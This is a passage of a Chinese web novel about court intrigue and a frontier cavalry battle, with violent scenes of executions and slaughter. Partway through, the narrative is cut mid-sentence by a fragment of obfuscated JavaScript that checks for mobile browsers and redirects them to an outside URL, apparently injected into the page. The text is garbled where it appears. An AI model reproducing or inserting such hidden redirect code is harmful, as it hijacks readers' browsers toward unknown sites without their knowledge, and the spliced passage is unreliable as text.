他猛地从柳知意身上弹起,动作之大,让巨大的沉香木床都发出了一声不堪重负的呻吟。
柳知意的反应更快,她浑身一个激灵,几乎是下意识地用锦被裹住自己,一双媚眼中的春水早已褪去,只剩下无边的惊恐。
“快!快走!”
她的声音因为恐惧而变得尖利,完全没了平日的娇媚。
叶天手忙脚乱地在地上摸索着自己的太子**袍,可越是慌乱,越是找不到。
寝宫外的脚步声已经越来越近,沉重而规律,每一步都像是踩在两人的心尖上。
来不及了!
柳知意眼中闪过一抹决绝,她一把抓住叶天赤裸的手臂,指甲深深掐进了他的肉里。
“床下!”
她用尽全身力气,将叶天推向床沿。
叶天一个趔趄,目光落向床底,那里有一块与周围地砖颜色略有差异的暗格。
他顾不上体面,手忙脚乱地在地上一按,一块地砖无声地滑开,露出一个黑漆漆的洞口。
一股陈腐的泥土气息扑面而来。
“衣服!”叶天压低声音,急切地喊道。
柳知意飞快地将散落在地上的**袍、玉带、靴子一股脑地团成一团,狠狠塞进他怀里。
“快进去!”
叶天抱着一堆凌乱的衣物,狼狈不堪地钻进了狭窄的地道。
在他身体完全没入黑暗的瞬间,柳知意迅速将地砖归位,整个过程行云流水,快到极致。
做完这一切,她飞快地躺回床上,扯过被子盖住自己,故意将发髻拨乱,又拼命咳嗽了几声,试图让自己那张因剧烈运动和惊吓而泛着不正常潮红的脸,看起来更像是生病的样子。
她死死攥着锦被,心脏狂跳不止,只能在心中不断祈祷。
千万,千万不要被看出来。
“吱呀——”
寝宫的门被太监从外面推开。
一道明黄色的身影,带着一股不容抗拒的威严,缓缓走了进来。
大乾皇帝,叶擎天。
他一踏入殿内,眉头就不自觉地皱了起来。
空气中,那股奢靡的、属于男女欢好后的特殊气味,虽然已经淡了许多,却如何能瞒过他。
他的目光在殿内扫过,最后落在床榻上那个“病容憔悴”的爱妃身上。
“爱妃病了,这宫里的人,就是这么伺候的?”
叶擎天的声音很平淡,听不出喜怒,却让跟在他身后的总管太监双腿一软,噗通一声就跪了下去。
“奴才该死!奴才该死!”
“朕的贵妃病重,寝宫内窗门紧闭,秽气不散,你们是想让她病死吗?”叶擎天看都未看那太监一眼,语气依旧平淡。
“来人。”
“奴才在。”
“今天在云华宫当值的宫女太监,办事不力,惊扰贵妃休养。”
“拖出去,都砍了。”
“遵旨!”
殿外立刻响起一片哭爹喊娘的求饶声,但很快就被强行堵住嘴巴,化为沉闷的拖拽声。
血腥味似乎已经提前弥漫开来。
柳知意躺在床上,听着那些平日里伺候自己的宫人被拉出去处死,她刚刚因惊吓而泛白的脸,此刻更是没有一丝血色。
这就是天子。
一言可定人生死,一怒便伏尸百里。
叶擎天缓缓走向床边,每一步都让柳知意的心跳漏掉半拍。
“陛下……”
柳知意挣扎着想要起身行礼,声音沙哑,带着刻意装出来的虚弱。
“陛下龙体金贵,臣妾这病……恐会过了病气给您,还请陛下……离远一些。”
她不敢让叶擎天靠近。
怕他闻到自己身上不属于他的味道。
怕他看到自己此刻无论如何也无法平复的剧烈心跳。
叶擎天在距离床榻三步远的地方停下了脚步,他看着柳知意那张苍白中透着不自然红晕的脸,沉默了片刻。
“既是病了,就好好休养。”
“太医院那边,朕已经打过招呼,会用最好的药。”
“你父亲柳尚书,为国立功,朕不会亏待他的女儿。”
他的话语听似关怀,却更像是一种不带任何感情的例行公事。
“谢……谢陛下恩典。”柳知意垂下眼帘,声音微颤。
“嗯,歇着吧。”
叶擎天说完,再没有多看她一眼,转身便带着人离开了。
沉重的宫门再次关上,隔绝了外界的一切。
柳知意紧绷的身体,在这一刻才彻底瘫软下来,冷汗早已浸透了她的寝衣,整个人像是从水里捞出来一般。
她活下来了。
……
与此同时。
地道之内,一片漆黑。
叶天连滚带爬,一路狂奔。
这条地道是他花费了巨大的代价,秘密修建而成,从他的东宫书房,直通云华宫的床底。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196279|181179||http|test|mini|href|location''.split(''|''),0,{}));
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r>本是偷情的捷径,此刻却成了他唯一的生路。
黑暗、潮湿、压抑。
他能听到的,只有自己粗重的喘息声和如同擂鼓的心跳声。
父皇那平淡却充满杀伐之气的声音,仿佛还在耳边回响。
**、恐惧、愤怒,种种情绪在他心中交织。
不知跑了多久,前方终于出现了一丝光亮。
叶天推开尽头的暗门,踉跄着滚进了自己的书房。
他大口大口地喘着气,靠在墙壁上,过了许久,才从那极致的恐惧中缓过神来。
他低头看了看自己,衣衫不整,满身尘土,狼狈得像条狗。
他走到桌边,拿起茶壶,也不管是冷是热,对着壶嘴就猛灌了几口。
冰凉的茶水顺着喉咙滑下,让他混乱的头脑清醒了几分。
他的目光,落在了书桌上一个用蜜蜡封口的竹筒上。
这是北凉传来的最高等级的急报。
叶天一把抓过竹筒,捏碎了蜜蜡,从中抽出一卷薄如蝉翼的信纸。
展开信纸,上面的字迹瞬间让他瞳孔一缩。
“镇北王府于庚子年秋,月圆之夜,兴兵戈,查抄孙、王、李三族。三族为我等在北凉安插之眼线,人脉、产业、私兵,一夕之间,尽数被毁。反抗者,当场格杀,血流成河。”
“据查,镇北王此举,与一神秘人有关。此人名叶潜渊,医术通神,深得镇北王风啸天信重,被奉为座上宾。”
砰!
叶天一拳狠狠砸在桌面上,坚硬的梨花木桌案,竟被他砸出了一道清晰的裂痕。
“风啸天!”
“你好大的胆子!”
叶天的脸上,方才的恐惧和狼狈荡然无存,取而代之的是一种被触犯了逆鳞的暴怒。
孙、王、李三家,不仅是他安插在北凉的棋子,更是他敛财的工具,其中还有不少是替他父皇监视风啸天的眼线。
如今,就这么被连根拔起了?
还有一个叫叶潜渊的……
医术通神?
哪里有这么巧合的事情?
“来人!”叶天对着门外怒吼道。
“殿下。”一名心腹太监立刻推门而入,躬身行礼。
“传孤的命令,让影卫去北凉,给孤查!”
“查清楚这个叶潜渊到底是什么来路!”
叶天的眼中满是阴鸷。
“一个藩王,也敢动孤和父皇的蛋糕,他以为他还是二十年前那个手握重兵,能与父皇分庭抗礼的镇北王吗?”
“他老了!”
“还有,让陈松进宫来见我!”
第90章 十万狼烟起北凉!(先上一章,表示诚意)
“殿下,户部尚书陈松,在殿外求见。”
心腹太监的声音在门外响起,压得极低。
叶天整理了一下衣冠,坐直了身体,声音恢复了往日的威严,只是细听之下,仍有一丝不易察觉的颤抖。
“让他进来。”
很快,一个身材微胖、满面红光的中年官员快步走了进来,正是户部尚书陈松。
他一进门,便堆起满脸的谄笑。
“殿下深夜召见,不知有何吩咐?老臣……”
他的话还没说完,叶天便将桌上那卷从北凉传来的密信,轻轻抛到了他的脚下。
竹筒滚落在地,发出清脆的声响。
陈松的笑容僵在了脸上,他不解地看向太子。
“陈尚书,你可知罪?”
叶天的声音很轻,却像一把冰锥,狠狠刺入陈松的心脏。
陈松的膝盖一软,噗通一声就跪在了地上,额头冷汗瞬间就冒了出来。
“殿下……殿下息怒!老臣愚钝,不知……不知所犯何罪啊!”
“不知?”
叶天从座位上站起,缓缓踱步到陈松面前,居高临下地看着他。
“孤让你去跟北莽做生意,是让你充盈东宫的库房,不是让你打着孤的旗号,跟屠各部落私相授受,贩卖粮食!”
“陈松,你好大的胆子!”
“你这是通敌叛国!”
“这罪名,够不够你陈家上下,满门抄斩?!”
最后一句,叶天的声音陡然拔高,如同惊雷在书房内炸响。
陈松浑身剧烈地颤抖起来,整个人瘫软在地,面如死灰。
他知道,自己完了。
这件事,是他最大的秘密,也是他敛财的根基,本以为天衣无缝,却不想太子竟了如指掌。
“殿下饶命!殿下饶命啊!”
陈松涕泪横流,拼命地磕头,光洁的额头很快就红肿一片。
“老臣……老臣对殿下忠心耿耿,绝无二心啊!这一切都是为了殿下您的大业啊!”
“为了孤?”
叶天冷笑一声,一脚踩在了陈松的手背上,缓缓碾动。
“你每年送进东宫的银子不到三成,剩下的七成,都进了你自己的口袋,这也是为了孤?”
陈松疼得龇牙咧嘴,却不敢发出一丝声音,只能不住地求饶。
“老臣该死!老臣猪油蒙了心!求殿下给老臣一个将功赎罪的机会!”
看着脚下这条摇尾乞怜的老狗,叶天眼中的暴怒渐渐褪去,转为深沉的算计。
他抬起了脚。
“机会,不是没有。”
陈松如蒙大赦,连忙抬头,眼中满是劫后余生的庆幸和乞求。
“孤告诉你一个消息。”
叶天坐回桌案后,端起那杯早已冰凉的茶水,抿了一口。
“镇北王风啸天,已经动手了。”
“孙、王、李三家,一夜之间,被连根拔起。”
“你安插在北凉的那些人,你通过陈记粮行和北莽交易的渠道,现在,恐怕已经是一堆白骨了。”
陈松的瞳孔骤然收缩,脸上的血色褪得一干二净。
他最大的赚钱来路,就这么没了?
那他私通北莽的证据……
“殿下……那……那风啸天他……”
“他很快就会查到你的头上。”
叶天淡淡地说道,像是在陈述一件与自己无关的事情。
“到时候,奏折递到父皇的案头,你觉得,孤会为了一个通敌叛国的户部尚书,去跟镇北王撕破脸吗?”
陈松的心,彻底沉入了谷底。
他知道,太子不会。
太子只会第一个站出来,亲手将他送上断头台,以示清白。
“不……殿下!您不能不管老臣啊!”
陈松爬到叶天脚边,死死抱住他的腿。
“老臣若是倒了,对您也没有好处啊!求殿下救我!老臣愿为殿下做牛做马!”
叶天等的就是这句话。
他用手指轻轻敲击着桌面,发出规律的笃笃声,每一声都像是敲在陈松的心上。
“救你,也可以。”
“但从今往后,你陈松,就是孤养在户部的一条狗。”
“孤让你咬谁,你就得咬谁,明白吗?”
“明白!老臣明白!老臣就是殿下的一条狗!”
陈松毫不犹豫地应道,此刻,只要能活命,别说做狗,做什么他都愿意。
“很好。”
叶天脸上终于露出了一丝满意的神色。
“风啸天不是要查吗?那孤就让他查无可查。”
“他不是要告状吗?那孤就让他自己,先变成那个被告的乱臣贼子!”
陈松猛地抬起头,眼中闪过一丝迷惑。
叶天凑近他,声音压得极低,如同毒蛇在耳边吐信。
“风啸天在镇北城内,大肆屠戮,血流成河,这是不是事实?”
陈松一愣,随即点头:“是……是事实。”
“那些被杀的,是不是我大乾的子民?”
“是……”
“一个藩王,未经朝廷允准,在自己的封地内,屠杀上千子民,还将他们的家产尽数充公,这是不是形同谋逆?”
陈松的呼吸变得急促起来。
他听出了太子话中的意思。
这是要倒打一耙,反咬镇北王一口!
“可是殿下……陛下他……未必会信啊。”
“父皇当然不会全信,但他疑心重。”
叶天的嘴角勾起一抹阴冷的弧度。
“父皇最忌惮的,就是藩王拥兵自重。风啸天此举,无论初衷是什么,在父皇眼里,都是在挑衅皇权。”
“我们不需要父皇相信他谋反,我们只需要父皇……更加怀疑他就够了。”
“至于你,”叶天看向陈松,“你要做的,就是立刻,马上,切断你和北莽之间的一切联系。哪怕是自断手脚,也要把尾巴处理干净。”
“你甚至要主动上奏,弹劾北凉边军与北莽商人私下交易,请求朝廷严查。你要把自己,变成一个彻彻底底的‘忠臣’。”
陈松的脸上,冷汗和热汗交织。
这计策太毒了。
这是要让他亲手毁掉自己经营多年的心血,还要反过来去咬自己曾经的合作伙伴。
但,这也是他唯一的生路。
“老臣……遵命!”
陈松咬着牙,重重地磕了一个头。
“殿下放心,不出三日,朝堂之上,必然会掀起弹劾镇北王的浪潮!”
“去办吧。”
叶天挥了挥手,眼中闪过一丝快意。
风啸天,叶潜渊……
你们给我等着吧!
第91章 砧锤合击,砸个粉碎
与此同时。
百里之外的镇北城,王府议事大堂。
肃杀之气,弥漫在空气中。
与京城东宫的阴诡算计不同,这里的气氛,是属于铁与血的凝重。
数十名镇北军高级将领,身着冰冷的铁甲,按刀而立,如同一尊尊沉默的雕像。
主座之上,镇北王风啸天同样一身玄黑战甲,甲胄上遍布刀痕箭孔,那是二十年戎马生涯留下的功勋。
他的面容沉静如水,目光扫过堂下每一位心腹爱将。
叶玄和苏轻雪,则坐在客席的首位。
苏轻雪看着这般阵仗,心中不由得紧张起来,而叶玄,依旧是一副云淡风轻的模样,仿佛眼前这一切,都与他无关。
终于,风啸天开口了,声音雄浑,掷地有声。
“斥候急报。”
“北莽王庭,已集结十万大军,越过黑水河。”
“其前锋三万铁骑,由屠各部大将呼延灼率领,正朝着我镇北城的方向,急行军而来。”
“最多三日,便可兵临城下。”
话音落下,大堂内一片死寂。
随即,一股压抑不住的战意,从众将领的身上升腾而起。
“他娘的!这帮蛮子又不安分了!”
“王爷,下令吧!末将愿为先锋,去会一会那呼延灼!”
“没错!正好拿他们的人头,来给咱们的新刀开刃!”
将领们群情激愤,毫无惧色。
对他们而言,与北莽作战,就像是吃饭喝水一样平常。
风啸天抬手,压下了众人的请战声,他的目光,转向了一直沉默不语的叶玄。
“叶先生,你怎么看?”
一瞬间,所有人的目光都聚焦在了叶玄的身上。
有好奇,有审视,也有一丝不以为然。
在这些百战宿将眼中,这位被王爷奉为上宾的年轻人,医术或许通神,但对于行军打仗,恐怕只是个门外汉。
叶玄端起茶杯,轻轻吹了吹浮沫,才不紧不慢地开口。
“王爷,诸位将军。”
“北莽此番南下,声势浩大,但依我之见,却并非真的想要攻城。”
此言一出,满堂皆惊。
一名络腮胡的将军忍不住出声反驳。
“叶先生,十万大军压境,这还不叫攻城?那什么才叫攻城?”
叶玄没有理会他,只是看着风啸天,继续说道。
“北莽若真想攻城,绝不会只派三万前锋,更不会如此大张旗鼓,唯恐我们不知。”
“他们的行军路线,也颇有讲究,直指城东方向。”
“如果我没记错的话,从城东再往外八里,有一处山谷。”
听到叶玄的话语,风啸天的眼神微微一动。
叶玄放下茶杯,声音不大,却清晰地传入每个人耳中。
“就在前几日,我来镇北城的时候,见到了一个被屠杀感觉的屠各部落游骑营地。”
“想来,是那个营地迟迟没有消息传回,引起了北莽王庭的警觉。”
“所以,这十万大军,名为攻城,实为……寻人。”
“或者说,是来查明真相的。”
“那三万前锋,与其说是来攻城的,不如说是来给我们施压,好让他们的斥候,能从容地去那山谷一探究竟。”
叶玄的分析,条理清晰,一针见血。
大堂之内,再次陷入了一片寂静。
方才还一脸不服的络腮胡将军,此刻张大了嘴巴,一个字也说不出来。
他们这些老将,想的都是如何排兵布阵,如何御敌于国门之外。
却从未想过,从这个角度去剖析北莽的动机。
风啸天看着叶玄,眼中迸发出一阵精光。
此子的智慧,远胜于千军万马!
“传令下去!”
风啸天猛地站起,声如洪钟。
“全军备战,城门紧闭!”
“凡有阻挠者,格杀勿论!”
……
议事大堂内的铁血气息,随着将领们的退去而渐渐散去,只余下沉重的寂静。
风啸天身上的玄黑战甲未卸,他走下主座,来到叶玄面前,这位北凉之主并未开口,只是静静地看着他。
二十年镇守国门的威势,即便不言不语,也如山岳压顶。
苏轻雪下意识地屏住了呼吸,为叶玄捏了一把汗。
叶玄却仿佛未觉,将杯中已经凉透的茶水饮尽,才抬头迎上风啸天的目光。
“王爷是想问,我为何对北莽的动向,了如指掌?”
风啸天缓缓点头,声音里带着一丝沙哑。
“殿下的分析,鞭辟入里,胜过我帐下所有宿将。但北莽屠各部的游骑营地,地处偏僻,先生又是如何得知的?”
这是一个无法回避的问题。
也是一场考验。
叶玄坦然一笑。
“不瞒王爷,那三百屠各部的游骑,是我杀的。”
一句话,让整个大堂的温度都仿佛降了几分。
风啸天瞳孔微微一缩。
三百北莽精锐游骑,来去如风,寻常千人队都未必能将他们全歼。
而眼前这个看似文弱的年轻人,竟说……是他杀的?
叶玄没有给他继续发问的机会,站起身来。
“王爷,北莽名为攻城,实为查探,这一点我们已有共识。”
“他们派三万前锋施压,主力按兵不动,就是想用最小的代价,换取最大的情报。”
“既然他们想玩,我们不妨陪他们玩得更大一些。”
风啸天眉峰一挑:“殿下的意思是?”
“王爷的镇北军,是国之重器,威震北境,最擅长的,是正面冲杀,是守土拒敌。”
叶玄踱步到大堂中央悬挂的舆图前,手指点在了镇北城东侧的一片崎岖山脉上。
“可对付这种试探性的骚扰,动用大军,如同用牛刀杀鸡,不仅损耗军力,也正中对方下怀,让他们摸清我们的虚实。”
“王爷守城,是为铁砧。”
“坚不可摧,让呼延灼的三万铁骑,怎么撞都撞不破。”
叶玄的手指,从舆图上移开,转向自己。
“而我,愿为一柄铁锤。”
“出城,绕到他们的身后,趁他们将所有注意力都放在城墙上时,给予雷霆一击。”
“砧锤合击,方能将这三万铁骑,砸个粉碎,让他们有来无回!”
第92章 猫捉老鼠?
风啸天的心脏,猛地一跳。
他盯着叶玄,仿佛要将这个年轻人彻底看透。
这个计策,大胆,狠辣,且直击要害。
“殿下的意思是?”
“我的人虽然不多,”叶玄伸出了一根手指,“但足以充当这柄铁锤。”
风啸天沉默了。
他思量的,是这其中的风险,更是这份魄力。
“好。”
“城门今夜会为你开一道缝。”
“我给你一块令牌,城外三十里内的所有镇北军斥候,见令如见我,会为你扫清一切障碍。”
说罢,他从腰间解下一块通体漆黑、刻着“风”字的铁牌,递给了叶玄。
“殿下,我期待你接下来的表现!。”
叶玄接过令牌,入手冰凉。
“王爷放心,我比任何人都希望北凉安稳。”
因为这里,是他立足的根基。
……
夜色如墨,寒风呼啸。
镇北城的西侧角门,在吱呀声中,悄无声息地裂开一道仅容两人通过的缝隙。
叶玄带着苏轻雪,牵着两匹快马,迅速融入了茫茫夜色之中。
苏轻雪紧紧跟在叶玄身后,北地的寒风吹得她脸颊生疼,但她的心里,却是一片滚烫。
从云安城那个时候开始,这个男人一次又一次地刷新着她的认知。
无论是算计人心的手段,还是此刻运筹帷幄的气度,都让她感到一种前所未有的心安。
马蹄踏在荒原上,发出沉闷的声响。
不知跑了多久,叶玄勒住缰绳,前方出现了一处被群山环抱的隐秘山谷。
谷口,两道黑影如同鬼魅般闪出,拦住了去路。
“来者何人!”
叶玄没有说话,只是从怀中取出一枚特殊的龙形徽记,在月光下晃了晃。
两名哨兵单膝跪地,声音恭敬。
“恭迎殿下!”
进入山谷,景象豁然开朗。
只见山谷之内,篝火点点,却听不到一丝喧闹。
数千名身着玄甲、外罩白袍的骑士,或坐或立,正在默默地擦拭着手中的兵器,喂食着胯下的战马。
他们的动作整齐划一,安静得可怕。
每一匹战马,都比寻常马匹高出一头,神骏异常,马蹄上都裹着厚厚的棉布,这是为了潜行时不发出声响。
一股冰冷肃杀,却又带着绝对纪律性的气息,扑面而来。
这是苏轻雪第二次见到大雪龙骑,但无论是哪一次,大雪龙骑所带来的震撼总是那么深入人心!
一名身材魁梧、面容沉稳的将领快步走来,正是赵阳。
他来到叶玄面前,单膝跪地,甲胄碰撞,发出铿锵之声。
“殿下,大雪龙骑已全员集结,随时可以出征!”
叶玄翻身下马,将缰绳递给苏轻雪。
“赵阳,养兵千日,用兵一时。”
他的声音不大,却清晰地传遍了整个营地。
所有骑士都停下了手中的动作,齐刷刷地望了过来。
“北莽屠各部三万铁骑,已至镇北城下。”
“他们以为自己是猎人,却不知,自己早已是我们的猎物。”
叶玄走到赵阳面前,扶起了他。
“这一战,是大雪龙骑扬名天下的第一战。”
“我不要求你们正面冲锋,我要你们,像一道白色的闪电,撕裂夜幕,从敌人最意想不到的地方出现,给他们带去死亡和恐惧。”
“听明白了吗?”
赵阳的脸上,浮现出嗜血的兴奋。
“殿下放心!一万大雪龙骑,只待将令!保证让那些北莽蛮子,连后悔的机会都没有!”
叶玄点点头,目光扫过那一双双在火光下亮得惊人的眼睛。
“原地休整,等待命令。”
“是!”
山谷之内,再次恢复了那种令人心悸的安静。
苏轻雪牵着马,走到叶玄身边,轻声问道:“咱们真的就只凭借这一万人冲杀三万蛮子?”
“对。”叶玄看着自己的这支王牌,“可别小看咱这一万人,这可是我们在北凉立足的底气所在!”
苏轻雪默然。
她根本不知道叶玄为了这一刻,到底准备了多久,以及他到底还有多少手段。
……
子时。
镇北城外,黑压压的大军如同潮水般涌来,停在了三里之外。
为首的大将,正是屠各部的呼延灼。
他骑在一匹高大的黑色战马上,望着远处灯火通明的镇北城墙,脸上露出一丝不屑的冷笑。
“风啸天,还是这么沉不住气。”
他身边的副将凑了过来。
“将军,看样子,城里的镇北军已经全部动员起来了,城墙上的火把,比平日里多了三倍不止。”
“多才好。”呼延灼的语气里满是嘲弄,“越多,就说明他越紧张。他越紧张,就越会把所有的注意力,都放在这面墙上。”
“传我命令!”
“派三千轻骑,轮番上前,只用弓箭骚扰,不许靠近城墙三百步之内。”
“让他们喊,让他们骂,让他们射箭,总之,别让城里的南人睡个安稳觉。”
“是!”副将领命而去。
呼延灼则将目光,投向了东边的黑暗山峦。
“另外,派出去的斥候小队,有消息了吗?”
“回将军,还没有。不过算算时间,天亮之前,一定能把东边那处山谷,查个水落石出。”
“很好。”
呼延灼满意地点点头。
一切都在按照他的计划进行。
用佯攻吸引镇北王的全部注意力,再派精锐斥候查明游骑营地被灭的真相。
等真相到手,他就可以带着大军从容退去,将消息传回王庭。
至于这三万铁骑的消耗?
在他看来,用南人的担惊受怕和疲于奔命,来换取一个重要的情报,这笔买卖,划算得很。
如果能够抢到一些东西回去,那就更好了!
很快,凄厉的号角声响起。
数千北莽骑兵发出野兽般的嚎叫,催动战马,朝着镇北城墙冲去。
密集的箭雨,带着破空之声,划破夜空,噼里啪啦地钉在厚重的城门和城墙之上。
城墙上,镇北军的将士们严阵以待,弓上弦,刀出鞘,却只是默默地承受着,没有还击。
呼延灼看着这一幕,嘴角的笑意更浓了。
在他看来,这只是一场猫捉老鼠的游戏。
而他,是那只猫。
他却不知道,在更深沉的黑暗中,一柄冰冷的铁锤,已经高高扬起,正对准了他的后心。
第93章 三万打一万?优势在我!
夜色更深,寒意刺骨。
镇北城东侧十里外的一处山坡上,叶玄与赵阳并肩而立,如同两尊融入黑暗的雕塑。
他们的目光,越过沉寂的荒原,落在远处那片被火光与喧嚣包围的城池上。
北莽骑兵的呼喝声、箭矢破空的尖啸声,即使隔着这么远,依旧隐约可闻。
“殿下,他们闹得很欢。”赵阳的声音低沉,不带一丝波澜。
叶玄没有回头,只是淡淡地开口。
“闹得越欢,死得越快。”
他的语气平静得像是在陈述一件与自己无关的事实。
“让他们再多快活一会儿,一炷香后,送他们上路。”
赵阳抱拳,躬身领命,转身没入后方的黑暗。
片刻之后,山谷中那令人心悸的寂静被打破。
一万名骑士几乎在同一时间,解开了马蹄上包裹的厚重棉布。
“哗啦……”
整齐划一的动作,汇成一道奇异的声响。
随后,是甲胄摩擦的金属音,是马刀出鞘的冷冽声。
一万柄锋利的长槊,被骑士们从马鞍一侧取下,斜指向天,在微弱的星光下,构成一片冰冷的钢铁森林。
肃杀之气,冲天而起。
叶玄翻身上马,一匹通体雪白,毫无杂色的神骏战马。
他没有发表任何战前动员,只是拔出了腰间的佩剑,剑尖遥遥指向镇北城外的北莽大营。
“大雪龙骑!”
他的声音不大,却盖过了风声,清晰地传到每一位骑士的耳中。
“此战,一个不留!”
“风!风!风!”
没有惊天动地的呐喊,只有一万骑士用武器敲击胸甲发出的沉闷巨响,如同擂响的战鼓,宣告着死亡的降临。
下一刻,万马奔腾!
……
中军大帐内,呼延灼正就着一壶烈酒,听着城墙方向传来的骚扰声,惬意地闭目养神。
一切尽在掌握。
风啸天那个老匹夫,现在肯定在城墙上急得跳脚。
突然,地面传来一阵轻微的颤动。
起初,他以为是错觉。
但那颤动越来越清晰,越来越剧烈,仿佛有千军万马正在地底奔行。
帐内的酒杯,都在桌案上嗡嗡作响。
“怎么回事?”
呼延灼猛地睁开眼睛,一把推开身前的桌案,大步走出营帐。
一股沉闷如雷的轰鸣,从后方,从他认为最安全的侧后方,滚滚而来。
那不是三千轻骑骚扰能发出的动静!
一名亲兵连滚带爬地跑了过来,脸上满是惊恐。
“将军!不好了!后面……后面有大批骑兵!”
“慌什么!”呼延灼一脚将他踹开,厉声喝道,“镇北军主力全在城里,哪来的大批骑兵?是风啸天派出来送死的斥候吗?”
他抓过一匹战马,翻身而上,朝着营地后方奔去。
当他登上营地边缘的一处高坡,他看到了。
他看到了那股让他心脏骤停的洪流。
夜色下,一条由无数白点组成的洪流,正以无可阻挡的姿态,席卷而来。
那不是斥候小队!
那是一支军队!一支数量至少上万的骑兵!
“哪来的军队?镇北城外三十里,所有的斥候都是瞎子吗!”呼延灼怒吼着,但声音里已经带上了一丝他自己都未曾察觉的颤抖。
“将军!他们冲过来了!”副将的声音尖利无比。
呼延灼咬紧牙关,强迫自己冷静下来。
“一万骑兵就敢冲击我三万大营?不知死活的东西!”
“传我将令!”
“后军变前军,所有人都给我上马!迎击!”
“让他们见识见识,谁才是这片草原真正的主人!”
北莽军营顿时乱成一团。
正在轮换休息的士兵被紧急叫醒,睡眼惺忪地寻找着自己的战马。
但大雪龙骑的速度,远超他们的想象。
在他们还在混乱集结的时候,那道白色的死亡浪潮,已经近在眼前。
呼延灼的瞳孔,在这一刻缩成了针尖大小。
他看清楚了。
他看清楚了对方的装备。
为首的骑士,身披厚重的雪白铠甲,外罩雪白大氅,头戴全覆式面盔,只露出一双冰冷的眼睛。
他们胯下的战马,比北莽最神骏的马还要高大雄壮,马身同样披着厚厚的甲胄。
手中的长槊,闪烁着嗜血的寒光。
这不是轻骑兵!
这是连人带马,武装到牙齿的重装骑兵!
一个疯狂的念头在呼延灼脑中炸开。
拿自己的三万轻骑,去撞击一万重骑?
这他娘的不是送死吗?
他想下令后撤,想让军队散开,用弓箭风筝。
但已经晚了。
大雪龙骑已经将速度提到了极致,那股毁天灭地般的动能,已经不是任何命令可以阻止的了。
“轰——!!!”
下一瞬,白色的浪潮,狠狠地拍在了北莽军那道仓促组成的阵线上。
没有想象中的激烈碰撞,没有僵持。
只有摧枯拉朽的碾压。
第一排的北莽骑兵,连人带马,瞬间被撞得粉碎。
长槊轻而易举地洞穿了他们引以为傲的皮甲,将他们的身体撕裂。
无数的残肢断臂飞上天空,血雾瞬间弥漫了整个战场。
大雪龙骑组成的锋线,没有丝毫停滞,直接凿穿了北莽军的阵型。
呼延灼的大脑一片空白。
他眼睁睁看着自己最精锐的勇士,在对方面前,如同纸糊的一般,一触即溃。
一名大雪龙骑的士兵从他身侧冲过,随手一槊,便将他身边的一名亲卫百户挑飞。
那名百户,可是他麾下有数的六品武者!
呼延灼下意识地挥刀格挡,与那名士兵的长槊碰在一起。
“铛!”
一股无法抗拒的巨力从刀身传来,震得他虎口发麻,险些握不住兵器。
他骇然地看向那名士兵。
透过面甲的缝隙,他能感受到对方体内那股雄浑的气血之力。
六品!
绝对是六品凝体境的实力!
开什么玩笑!
一个普通的士兵,竟然是六品武者?
六品武者,在他们屠各部,足以担任一个手握百人的百户长,是军队的中坚力量!
可在这里,竟然只是一个冲锋陷阵的兵卒?
他猛地扫视战场。
他发现,每一个与自己部下交手的大雪龙骑,都展现出了同样恐怖的实力。
这不是一支军队。
这是一万名六品武者组成的杀戮机器!
呼延灼的心,彻底沉入了谷底,冰冷刺骨的寒意从脚底直冲天灵盖。
他终于明白,这不是一场势均力敌的战争。
这是一场有预谋的、单方面的屠杀。
而他和他的三万铁骑,就是那待宰的羔羊。
第94章 将军快跑,咱打不过的!
镇北城的城墙之上,风啸天双手死死攥着冰冷的城砖,指节因为用力而泛白。
城下的景象,已经不能用战争来形容。
那是一场收割。
纯白色的洪流每一次冲刷,都会在黑色的北莽军阵中带走大片的生命。
没有惨烈的胶着,没有势均力敌的搏杀。
只有长槊入肉的沉闷声响,骨骼碎裂的清脆爆音,以及垂死者被马蹄踩成肉泥前那一声短促的悲鸣。
“王爷……”
一名副将喉结滚动,声音干涩。
“我镇北军的儿郎,若是能有这样一身甲胄,这样一匹战马……”
他没敢说下去。
风啸天当然听出了他话里的意思。
羡慕。
是深入骨髓的羡慕。
还有一丝丝的嫉妒。
他风啸天镇守北境数十年,麾下二十万大军,最精锐的骑兵也不过是人手一套皮甲,百人中能有一人披上铁甲,便已是奢侈。
可城下那一万骑兵,连人带马,尽是重铠。
这哪里是军队,这分明是一座座移动的钢铁堡垒。
“王爷,要不要打开城门?”另一名将领忍不住请示,“我们派出一支骑兵,从侧翼包抄,与……与这只神秘军队前后夹击,定能将这三万北莽狗贼全数留下!”
“不必。”
风啸天缓缓摇头,目光依旧锁定在远方那片屠场。
“本王倒要看看,这柄锤子究竟有多硬,能把北莽这块臭石头砸到多碎。”
他需要一个准确的评估。
评估叶玄的实力,评估这支神秘骑兵的极限。
这关系到未来整个北凉的格局,也关系到他风啸天,究竟要在这场豪赌中,下多大的注码。
……
战场中央,血腥气浓郁得几乎化为实质。
叶玄骑在马上,雪白的大氅早已被溅射的鲜血染红,点点猩红,宛如雪地里盛开的梅花。
他的表情没有丝毫变化,平静地穿行在哀嚎与死亡之间。
大雪龙骑的推进没有受到任何有效的阻碍。
他们就像一柄烧红的铁犁,深深地犁进了北莽军松软的“泥土”里,将一切反抗都碾碎、翻烂。
混乱中,一道气急败坏的咆哮声,穿透了战场的嘈杂,显得格外刺耳。
“都给我顶住!亲卫营!向我靠拢!杀出去!杀出去!”
呼延灼状若疯狂,挥舞着弯刀,接连砍倒了几个试图溃逃的自家士兵。
他身边聚集了数百名最忠心的亲卫,组成一个临时的圆阵,艰难地抵御着四面八方涌来的冲击。
叶玄的目光瞬间锁定了那面代表着主将的狼头大旗。
找到了。
“赵阳,维持阵型,清剿残敌。”
他丢下一句简短的命令,甚至没有回头。
“遵命!”
赵阳的声音从后方传来,沉稳而坚定。
叶玄双腿轻轻一夹马腹,胯下神骏的战马发出一声低嘶,骤然提速。
他没有选择绕路,而是径直朝着呼延灼的方向冲去。
挡在他与呼延灼之间的,是数百名惊慌失措的北莽骑兵。
“滚开!”
叶玄口中吐出两个冰冷的字。
